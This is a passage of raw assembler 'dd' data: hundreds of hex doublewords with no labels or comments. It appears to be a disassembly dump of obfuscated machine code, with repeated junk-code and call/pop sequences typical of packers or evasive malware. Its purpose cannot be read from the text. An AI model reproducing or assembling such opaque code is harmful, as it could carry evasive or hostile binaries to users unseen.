		dd 55006AF4h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 6C9A0FDEh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 7DC35242h, 880DEAD8h,	8B000000h, 331D195h
		dd 0B5958906h, 8B06031Bh, 301E18Dh, 0E7816606h,	8B504D64h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 4EF8166h
		dd 51006A75h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0E91260F3h, 8, 0FF90D43Ch, 399CC110h, 1D65BD83h
		dd 0F000603h, 6484h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0B8A58Ch, 0E8000000h
		dd 9, 15A1A795h, 24BA5261h, 0DA8B667Ah,	1C8D8D5Bh, 6A06034Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0E73AC352h, 3ED9D8Bh, 0E1FF0603h,	572CFABFh
		dd 0BDBD8336h, 60321h, 49C840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F23D0C3h
		dd 0BD83FABFh, 60321BDh, 8A840F01h, 6A000004h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0CC0DC357h, 53F1CCD6h, 1CCD8589h, 0BD830603h, 60321BDh
		dd 20860F03h, 0F000004h, 0B8Eh,	6E900h,	0AD5D0000h, 9A42E3C0h
		dd 699D8B60h, 6606030Bh, 8B66D98Ch, 4E180D9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 36C35040h, 9AB237CDh
		dd 0C90A7F31h, 16F840Fh, 9D8B0000h, 60303E9h, 13C1858Bh
		dd 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 8533BCC3h, 6031C79h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0D4C35545h,	91E4D5F0h, 29999D8Bh
		dd 0FE90603h, 27000000h, 190CC9BFh, 2C055847h, 633E7308h
		dd 895056F2h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 133577C3h, 0E96673B0h, 0Dh, 0D0EB614Ch
		dd 5F00D357h, 27A594Eh,	8D015624h, 60304E1h, 0FC006A5Fh
		dd 68A0Fh, 95890000h, 60309E5h,	0E202E968h, 0D68B6077h
		dd 14880Fh, 0EE80000h, 0A5000000h, 0AD206501h, 0A83A8465h
		dd 0E1A9265Fh, 81615B68h, 1162434h, 6A77FDh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 52FAF0C3h
		dd 0C1A5CA5h, 66759E00h, 0F9BD17BBh, 140595FFh,	6A0603h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0CB93A8C3h, 0C5A2D3F9h, 8589F1F8h, 606A734h,	8F0F88B3h
		dd 6, 28618589h, 0CE90603h, 6A000002h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 2916C352h
		dd 30409BDh, 2C858B06h,	6A0606A7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 922EC350h
		dd 0C919E658h, 0DE8B50D6h, 1800C75Bh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0FC5CC350h, 0A730B58Bh, 6A0606h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 4EC3A7C3h
		dd 80261435h, 8D858B7Bh, 6A060312h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 5FCFC355h
		dd 6896907h, 858BFA8Bh,	60313C1h, 0AE8h, 8F1B8D00h, 6EB0F8CEh
		dd 0E94B1230h, 0Eh, 3FD32499h, 0ECE105B7h, 110B099Eh, 895B9409h
		dd 85310446h, 603145Dh,	14A8BB96h, 0BB50041Bh, 3EFE6A72h
		dd 57006A96h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0C73F2308h, 8DBD8B5Ch, 0E8060310h, 8, 0F9005D62h
		dd 1670212Ah, 5BF9B70Fh, 0A72CB5FFh, 6A0606h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 7EA89C3h
		dd 0BF3F8A8Ah, 282E0C6Ch, 4E8h,	1F03FF00h, 8B525000h, 0BB310FD8h
		dd 0A695A9h, 5150585Ah,	8B5FF98Bh, 50042444h, 0D98B6653h
		dd 8B5B5Fh, 0AE8h, 0AB1C4C00h, 5DEA1FE4h, 527D8018h, 8C0Fh
		dd 5B5F0000h, 4244489h,	6E958h,	2BA20000h, 0E8925E6Ch
		dd 0A734858Dh, 6A0606h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 7B5B2AC3h, 9D8960A6h, 60323A5h
		dd 0DE9h, 42957100h, 5510F34Ch,	0F0807573h, 8061F1E1h
		dd 8950DADBh, 95312404h, 60329C9h, 140595FFh, 62BF0603h
		dd 6120E4FCh, 85C7CDB3h, 60321BDh, 3, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 48C35242h, 8478E4B6h, 7797A5AFh
		dd 0A734BD83h, 0F000606h, 3E84h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 345F8673h
		dd 0DE977h, 608D0000h, 86B8D52Ch, 54FFB486h, 0E9085A9Bh
		dd 22h,	0AA5EBB52h, 505B1B53h, 110C30h,	0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 9D8BC08Bh, 6032F01h, 21F18D01h
		dd 0BD830603h, 60321BDh, 5E850F03h, 6A000004h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 66E6C352h, 186B4BBh,	330FD8Dh, 34BD8306h, 606A7h, 42B840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 3E8DD6C3h, 0B711B155h, 8B2BBC37h,	320B99Dh
		dd 34B5FF06h, 6A0606A7h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0E288C352h,	63C8C283h
		dd 595FF94h, 6A06032Eh,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 101EC356h, 2923B216h
		dd 58CFC68Bh, 0FE9h, 25C8C400h,	0E08C30A8h, 7BAC2504h
		dd 748FA1A1h, 0A728B58Bh, 6A0606h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0E95364C3h, 9, 0CA232565h
		dd 0C5545175h, 0B70F5BBAh, 106C7F8h, 0E8000100h, 0Ah, 0FD8CFBF3h
		dd 918B5298h, 0BB667DBBh, 505F44C8h, 5DB35250h
		dd 5F56310Fh, 3489585Ah, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 39A48E8Bh, 1049BD89h
		dd 0B5FF0603h, 606A734h, 9D016060h, 6030FD5h, 8B616160h
		dd 3025D8Dh, 95FF6106h,	6032F19h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 47C35343h, 5E569F69h, 4356BAD4h
		dd 19619D89h, 0B58B0603h, 606A728h, 7E9h, 0BCB14600h, 0BD5911Dh
		dd 311D858Bh, 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0FAFBB1C3h, 819FE42Bh, 3C191EEFh
		dd 0C486891Eh, 1000000h, 32EC1BDh, 659D2306h, 8B060324h
		dd 331D195h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0E381666Eh, 81662086h, 83B823C3h
		dd 0DA8B04C2h, 11C9BD8Bh, 50890603h, 108F0F20h,	0E9000000h
		dd 0Bh,	86FC0B0Eh, 496207D2h, 8DB60AB8h, 6BBF385h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 380C927Ah, 3FCECC05h, 0BD8BF218h, 6031CEDh, 0B88689h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0FA0F3EC3h, 6A4DCBD7h, 31B53100h,	89060329h
		dd 3208585h, 34B5FF06h,	6A0606A7h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 2ED1C353h
		dd 0B866D76Fh, 9D0B4C81h, 6030201h, 1CB195FFh, 6A0603h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0D4843FC3h, 8D897118h, 6032C11h, 8D0F5096h, 6, 310F5250h
		dd 505B585Ah, 0F98B6652h, 0BD23965Bh, 6032039h,	0A734B5FFh
		dd 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 2B7EC3C3h, 9175A38h, 3041D95h, 6595FF06h
		dd 6A060311h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0B006C351h, 0D980D4ACh, 0C58D89E6h
		dd 31060313h, 304E19Dh,	95BD8306h, 60317h, 31840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 9D09C7C3h, 6032E8Dh,	28A0F50h, 8B000000h, 243489DAh
		dd 0FFACC780h, 6A734B5h, 0F98B6606h, 2D79BD8Bh,	95FF0603h
		dd 6030661h, 34B5FFF5h,	6A0606A7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8A15C351h
		dd 0E195FFDDh, 6606030Ah, 8342A2BFh, 3218DBDh, 840F0206h
		dd 51h,	5CDB589h, 95090603h, 6031AE5h, 1FD858Bh, 6A0603h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0E05D82C3h, 9376E6EFh, 6E919h, 0A2120000h, 0DDA5DD8Eh
		dd 0F0000C6h, 28Ah, 895B5300h, 320B19Dh, 0B985C706h, 60330h
		dd 8B000000h, 3236D9Dh,	0F38FE906h, 6AFFFFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B6FA7C3h
		dd 89F381C1h, 8D47218Fh, 3281185h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 94272987h
		dd 669016BAh, 0E950DF8Bh, 7, 5CD7E557h,	90334BECh, 6A2DD780h
		dd 79EB8000h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 724615C3h, 0EE9376Ch, 18000000h
		dd 8930CB3Ch, 3D1890D7h, 80547641h, 0FE858D59h,	6A060813h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 6091C355h, 0C850FC0h, 0F000000h, 68Ah, 31B58900h
		dd 83060322h, 816605C0h, 17B8CD3h, 311E98Dh, 60605006h
		dd 8E95E57h, 0F4000000h, 2B62C9EDh, 61E0C1ACh, 8D7BE66h
		dd 24048961h, 6E9h, 0BBCD7200h,	6A3250C9h, 3DB58900h, 6A060310h
		dd 0E99D8900h, 0FF06031Bh, 30CC995h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 5BC362B1h
		dd 8D890832h, 697478Dh,	0EDBD8B06h, 0FF060326h,	8A0FD1h
		dd 83000000h, 31E91BDh,	850F0106h, 72h,	1A499D8Bh, 26A0603h
		dd 2D15BD8Bh, 0F500603h, 218Ah,	0E9525000h, 11h, 609ADBECh
		dd 0B8E31673h, 0EE097B14h, 0C03AEC9Dh, 0BB310FB6h, 95B6288h
		dd 489585Ah, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 40855D99h, 8A28B979h, 75BD8BD9h
		dd 0FF060303h, 31CB195h, 19852906h, 0F060309h, 52E9F9B7h
		dd 0E800000Eh, 0
		dd 8ED815Dh, 6A060814h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0AF6C353h, 0AD213184h
		dd 0DE8h, 133D2200h, 0C5823FF8h, 0E14C5818h, 870F5D35h
		dd 6, 8B0Fh, 6A5F0000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0B1A1C353h,	3C903B05h
		dd 0B5AB483h, 8889858Dh, 9D8B0606h, 6031A49h, 14E890h
		dd 1C0D0000h, 0F8AE635Ah, 0FDA5390h, 68242066h,	3E84D9BEh
		dd 820FE18Eh, 3, 5FF98B66h, 12E95050h, 64000000h, 7E926CBFh
		dd 1B94D664h, 8F0C9754h, 2A227F29h, 66905F3Ch, 64DD63BBh
		dd 35FFh, 0FB8B0000h, 258964h, 2B000000h, 310419Dh, 1585FF06h
		dd 8B06032Ah, 323099Dh,	6AFF6A06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F9A0C355h
		dd 0AEBB4C8Ah, 3678D6E0h, 12058589h, 8B0F0603h,	3, 0FFF98B66h
		dd 31375B5h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 3D59ABDFh, 0A469AAD8h, 8E8h, 3D97BB00h
		dd 8A7CB036h, 95FF5F91h, 6032015h, 172E9h, 0FE900h, 46F30000h
		dd 0FCBABA30h, 0FEF5FEA7h, 833E133Bh, 0F00B0BEh, 683h
		dd 519D8B00h, 0E606032Eh, 0CDBD8B70h, 0E4060311h, 0EF816671h
		dd 613C5D03h, 139830Fh,	0BD8B0000h, 6031C51h, 0E9C8B60Fh
		dd 13h,	0CCA0DC21h, 0DC2E6C1Bh,	1021CA87h, 0BA936933h
		dd 0F9FB1F3Bh, 6BAh, 999D8B00h,	8B060313h, 12E9C1h, 0BECE0000h
		dd 5C09E9E7h, 431990DEh, 43C2B46Bh, 0E9E2FE8Ah,	8B04E8C1h
		dd 31335BDh, 0E2F76606h, 0A8B0Fh, 5E90000h, 0FA000000h
		dd 753DA402h, 0F88BC82Bh, 9E960h, 0E9360000h, 1DC4A54Ah
		dd 33683D29h, 32EB195h,	0D18B6106h, 2BBDBD8Bh, 0B0E90603h
		dd 0E9000000h, 9, 59B099EDh, 7F148C04h,	4C858B27h, 52505F4Ch
		dd 6850Fh, 8E0F0000h, 0
		dd 7C0835Fh, 8B0F60F9h,	6, 880Fh, 8D8B0000h, 60331A1h
		dd 0C08361h, 0B860Fh, 8C0F0000h, 5, 59B45EBBh, 38F0F3Dh
		dd 0F000000h, 0D03BDFBFh, 22830Fh, 8A0F0000h, 0Ch, 6800Fh
		dd 8C0F0000h, 0
		dd 3AE9h, 5810F00h, 0BB000000h,	306FE46Ah, 0FFFF8D8Bh
		dd 0B70FFFFFh, 1E183DEh, 1D840Fh, 9D8B0000h, 6032A85h
		dd 0FFFFA583h, 0FFEFFFFh, 9589D9B7h, 505F4C4Ch,	0E9D88Bh
		dd 8D000000h, 79756B5h,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0CFA88A3Dh, 9D8B006Ah
		dd 60326E9h, 1FB995FFh,	6A0603h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 2EBDB5C3h, 66AA7903h
		dd 890FDF8Bh, 0
		dd 0DD2B9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 9D8BC907h, 603289Dh, 6AFCE183h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 1C3CC357h, 0C95FB17Bh, 10E9C6ECh, 89000000h,	4FAC5988h
		dd 0FD01CD30h, 986EE83Bh, 0FCF5E5EDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 72C35040h, 11E8C02Bh, 29000000h
		dd 8A6472CEh, 0EE08E1C9h, 802C9DAEh, 90AC6CC1h,	5BD88B66h
		dd 0BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 6622F8C0h, 0AD6674BBh, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0CB17C350h,	6AF80Dh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0D80435C3h, 0B589BF4Bh, 60330C1h, 0EFCF8166h, 880D12h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0FEB642C3h, 7A4C9B76h, 81FF4887h,	5F0087E3h
		dd 0D1958B05h, 6A060331h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 7ED2C356h, 0C307A9A4h
		dd 0FB9D37EEh, 108DBD8Bh, 8D8B0603h, 60301E1h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0A8A69EC3h
		dd 659D8B3Bh, 83060324h, 31D65BDh, 840F0006h, 55h, 80D8BF0Fh
		dd 0B88FE7h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0E787C356h,	59BD8B51h
		dd 5B060332h, 0B9DB8166h, 1C8D8DB6h, 0E906034Dh, 0Fh, 50A7CE44h
		dd 744458E0h, 8B1270FDh, 0FFB0DCD1h, 2FBB66E1h,	0BDBD839Bh
		dd 60321h, 3B3840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 835772C3h, 321BDBDh
		dd 840F0106h, 3A4h, 0DE8BFB8Bh,	21BDBD83h, 0F030603h, 35D86h
		dd 0B8DCBF00h, 0BF601239h, 6372B46Eh, 0FD98C66h, 0E180DABFh
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 14C45685h, 890FBF17h, 13h, 7E8h,	2B8AFE00h
		dd 1EC2B1D4h, 20E58D89h, 35F0603h, 31BD59Dh, 0FC90A06h
		dd 10D84h, 0DF8B6600h, 13C1858Bh, 33FC0603h, 31C7985h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 8B90499Bh, 8B6650F9h, 870F90F8h,	3, 6AFEB70Fh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 292FAFAEh, 807BB15Fh, 4E8F4D3h, 0FF000000h
		dd 8A001F03h, 0FB8B50DDh, 424448Bh, 15BA6660h, 0F525045h
		dd 8Dh,	60310F00h, 61585A61h, 6656008Bh, 5B472BBFh, 4244489h
		dd 13E9h, 0BB9BA300h, 665A310Fh, 1170B245h, 998D13E0h
		dd 9B169B10h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 375BE66Ah, 5ED52280h, 1F018589h
		dd 9D8B0603h, 6031A85h,	140595FFh, 85890603h, 606A734h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 69C35040h
		dd 162E9h, 858BF500h, 606A72Ch,	1799BD8Bh, 0C70603h, 18h
		dd 8BF8B70Fh, 6A730B5h,	52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0E9D0B5E8h, 6,	16F1B920h
		dd 0EE9F6A1h, 0C9000000h, 8EC112F6h, 0E0555742h, 0D1ADD477h
		dd 8D858B6Eh, 89060312h, 31BA1BDh, 0F068906h, 858BD9B7h
		dd 60313C1h, 10E9h, 0CDFFE300h,	102624E6h, 6692444Eh, 9A4ECE8Dh
		dd 4468965h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	74C35646h, 0DE930h, 6B280000h, 6CB88BDBh, 0E7CC4CB5h
		dd 50C17817h, 9E4D3FBFh, 24348968h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 5AC35646h, 81661B33h, 0F667FDBh
		dd 584h, 0A4CCBF00h, 0D88B572Bh, 0A72CB5FFh, 9D030606h
		dd 6032CE5h, 0C539D868h, 0BF6656EBh, 815F704Eh,	0CA272404h
		dd 6A1459h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0BF66BFC3h, 858DE01Ah, 606A734h, 0BE9h, 0BABA3000h
		dd 0F5FEA7FCh, 3E133BFEh, 58A0Fh, 0C9BB0000h, 50131E23h
		dd 489F98Bh, 81666024h,	61496EE3h, 140595FFh, 61F90603h
		dd 9855C781h, 85C70E97h, 60321BDh, 3, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0B9C35242h,	0CB816634h, 0BD833CCDh
		dd 606A734h, 53840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 2FDDC356h
		dd 36A40D77h, 8B74AD89h, 31CE19Dh, 0F5BD8B06h, 81060323h
		dd 960049CFh, 33E963h, 13E90000h, 0FB000000h, 0D2035939h
		dd 0D5F975E2h, 1A83FA23h, 45048049h, 30502438h,	4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 83FA8BC0h
		dd 321BDBDh, 850F0306h,	4D5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 69C35141h, 9FCEEC31h, 572BFE65h
		dd 13D9BD23h, 0F5B0603h, 281h, 83DE8A00h, 6A734BDh, 840F0006h
		dd 495h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	47C35747h, 0F4B28126h, 9B57A862h, 7E97Fh, 62240000h
		dd 9DA7DB8h, 34B5FF6Fh,	0FF0606A7h, 32E0595h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 81A2B796h, 990B7116h, 0AF9355BFh, 0B58BF84Ah, 606A728h
		dd 29CD9D29h, 6C70603h,	10001h,	3318501h, 0F500603h, 28Bh
		dd 89F98A00h, 0BF662434h, 0BF0FF90Fh, 34B5FFDBh, 6A0606A7h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0A018C351h, 8EF69DE8h, 95FF8829h,	6032F19h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D4C35141h
		dd 19E3ADBEh, 23098589h, 0B58B0603h, 606A728h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0A7C35646h, 0BF9BD01h
		dd 858B0603h, 603311Dh,	8BFBBF0Fh, 31041BDh, 0C4868906h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 8959C353h, 1AA508BEh, 21C9B501h
		dd 958B0603h, 60331D1h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 54C35242h, 8BCD429Ch,	0EB815BFAh, 25D456C8h
		dd 6A04C283h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0AF16C356h, 0BFF89367h, 52F9BE60h
		dd 8D897D52h, 6032A95h,	51BF6661h, 2050891Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 34C35242h, 95896C6Eh
		dd 6030A9Dh, 0BBF3858Dh, 6A0606h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0ECA5A2C3h, 4FE57FE2h
		dd 29646B53h, 32F1D9Dh,	0B8868906h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 84D9C351h, 27E18E3Eh, 6A584EDCh, 91953100h, 89060305h
		dd 321A1B5h, 34B5FF06h,	6A0606A7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0FD5C351h
		dd 0A4BD1B2Bh, 0CFBF7F66h, 0F2A0DA9h, 128Ah, 0DE900h, 44B60000h
		dd 3E8CA6BAh, 0C8719546h, 0FF6649C8h, 31CB195h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 848D94B0h, 138EC0A2h, 683EBF03h, 8B605857h, 330ED9Dh
		dd 0F506106h, 1C88h, 11E800h, 47660000h, 9DE1649Fh, 5410A75h
		dd 85156D0Bh, 0BF471CC8h, 66273501h, 2434895Bh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 1DC35545h, 419D0BBEh
		dd 0F060310h, 8Ah, 34B5FF00h, 6A0606A7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 15A7C351h
		dd 66F5D617h, 7C72B62Eh, 116595FFh, 0B70F0603h,	95BD83FBh
		dd 60317h, 5D840Fh, 95890000h, 6032909h, 50FB8B96h, 12E8h
		dd 0E8D59C00h, 0F464878h, 0E94C4012h, 66794730h, 60F7E8FAh
		dd 525025B4h, 585A310Fh, 6A965B61h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 97FC350h
		dd 7729371Ah, 0FD77ED7h, 686h, 1D9D8B00h, 0FF060303h, 6A734B5h
		dd 6195FF06h, 89060306h, 32E559Dh, 34B5FF06h, 6A0606A7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0D1B6C356h, 0C9B553C1h, 85896060h, 603108Dh
		dd 666188B2h, 0FF61F98Bh, 30AE195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0BD83BC6Ah
		dd 603218Dh, 41840F02h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5085C356h
		dd 9E971BEh, 0B5000000h, 3F925FF4h, 54A913BCh, 1FD858Bh
		dd 0BD330603h, 6031BC5h, 660000C6h, 3D4ECF81h, 30B985C7h
		dd 603h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 190424h, 55450000h, 58139DC3h, 891BA201h, 3237995h
		dd 17BB6606h, 0F2BFE961h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0F65FF8C3h, 0CF8166D8h
		dd 8D89F879h, 6030161h,	8B66C18Bh, 11858DDAh, 50060328h
		dd 627662BBh, 24048939h, 0E9006AF8h, 12h, 9AE2A9D9h, 0B523DE81h
		dd 0D4622899h, 4A47EBAEh, 6A85D3h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 2DC35545h, 0C8B28D02h, 0BD8B52F3h
		dd 6032909h, 68C0F5Bh, 8B000000h, 331E19Dh, 7C858D06h
		dd 6A060824h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0B31FC353h, 0FC5F522Fh, 6A05C083h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0FD72C356h, 505F5190h, 12E9h, 4EDD0100h
		dd 0A02A9E2Fh, 0BCEE264Ah, 0ED1942B0h, 90EC8CDCh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0AEC35343h, 0EBF97399h
		dd 0D780C808h, 6A006A8Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 73A7C353h, 2D06AFCFh
		dd 2F19D89h, 6A0603h, 42FF53BBh, 0C995FF01h, 8B06030Ch
		dd 478D8DD9h, 6A060697h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0E3F7C353h,	9D34BDABh
		dd 66E7046Ah, 0FF5FD5BFh, 57006AD1h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0BB6AFD56h
		dd 367A83BFh, 6A3EEF81h, 0BD837080h, 6031E91h, 0A1850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 5906C355h, 0AF1BD29h, 26A0603h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0AC35242h
		dd 7CC94F3Bh, 0EF44E1EDh, 0DE9FAh, 76DA0000h, 0DFB8A45Fh
		dd 57BD7484h, 90096656h, 90DC8A50h, 0EE9h, 0DF80AA00h
		dd 818CFF9Ch, 6434DED8h, 0E9E9FC24h, 0Ah, 0EA052693h, 37079D6Bh
